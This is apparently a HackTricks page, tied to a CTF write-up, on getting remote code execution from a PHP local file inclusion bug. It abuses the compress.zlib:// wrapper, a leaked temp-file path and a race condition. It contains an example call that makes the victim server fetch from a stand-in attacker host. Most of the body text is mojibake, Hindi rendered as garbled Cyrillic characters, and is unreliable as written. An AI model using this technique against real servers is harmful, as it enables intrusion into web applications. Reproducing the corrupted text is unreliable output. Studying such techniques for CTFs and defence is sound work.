LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Support HackTricks

compress.zlib:// рдФрд░ PHP_STREAM_PREFER_STDIO

compress.zlib:// рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЦреЛрд▓рд╛ рдЧрдпрд╛ рдПрдХ рдлрд╝рд╛рдЗрд▓, PHP_STREAM_PREFER_STDIO рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде, рдмрд╛рдж рдореЗрдВ рдХрдиреЗрдХреНрд╢рди рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдХреЛ рдЙрд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦрдирд╛ рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ рдХреЙрд▓ рдЬреИрд╕реЗ:

file_get_contents("compress.zlib://http://attacker.com/file")

рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ http://attacker.com/file рдХреЗ рд▓рд┐рдП рд╣реЛрдЧрд╛, рдлрд┐рд░ рд╕рд░реНрд╡рд░ рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрддреНрддрд░ рдПрдХ рдорд╛рдиреНрдп HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рд╛рде рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЦреБрд▓рд╛ рд░рдЦ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдХреБрдЫ рд╕рдордп рдмрд╛рдж рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рднреА рд▓рд┐рдЦрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЖрдк рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ php-src рдХреЛрдб рдХреЗ рдЗрд╕ рднрд╛рдЧ рдореЗрдВ main/streams/cast.c рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition to RCE

рдпрд╣ CTF рдкрд┐рдЫрд▓реЗ рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рд╣рдорд▓рд╛рд╡рд░ рд╢рд┐рдХрд╛рд░ рд╕рд░реНрд╡рд░ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдиреЗрдХреНрд╢рди рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдЧрд╛ compress.zlib рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред

рдЬрдмрдХрд┐ рдпрд╣ рдХрдиреЗрдХреНрд╢рди рдореМрдЬреВрдж рд╣реИ, рд╣рдорд▓рд╛рд╡рд░ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкрде рдХреЛ рдмрд╛рд╣рд░ рдирд┐рдХрд╛рд▓ рджреЗрдЧрд╛ (рдпрд╣ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд▓реАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)ред

рдЬрдмрдХрд┐ рдХрдиреЗрдХреНрд╢рди рдЕрднреА рднреА рдЦреБрд▓рд╛ рд╣реИ, рд╣рдорд▓рд╛рд╡рд░ LFI рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдЧрд╛ рдЬреЛ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╡рд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡реЗрдм рд╕рд░реНрд╡рд░ рдореЗрдВ рдПрдХ рдЬрд╛рдВрдЪ рд╣реИ рдЬреЛ <? рд╡рд╛рд▓реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╣рдорд▓рд╛рд╡рд░ рд░реЗрд╕ рдХрдВрдбреАрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЙрд╕ рдХрдиреЗрдХреНрд╢рди рдореЗрдВ рдЬреЛ рдЕрднреА рднреА рдЦреБрд▓рд╛ рд╣реИ, рд╣рдорд▓рд╛рд╡рд░ PHP рдкреЗрд▓реЛрдб рднреЗрдЬреЗрдЧрд╛ AFTER рд╡реЗрдм рд╕рд░реНрд╡рд░ рдиреЗ рдЬрд╛рдВрдЪ рдХреА рдХрд┐ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рд╖рд┐рджреНрдз рд╡рд░реНрдг рд╣реИрдВ рд▓реЗрдХрд┐рди рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдпрд╣ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рд▓реЛрдб рдХрд░реЗред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рд░реЗрд╕ рдХрдВрдбреАрд╢рди рдФрд░ CTF рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрдЦреЗрдВ https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Support HackTricks

Last updated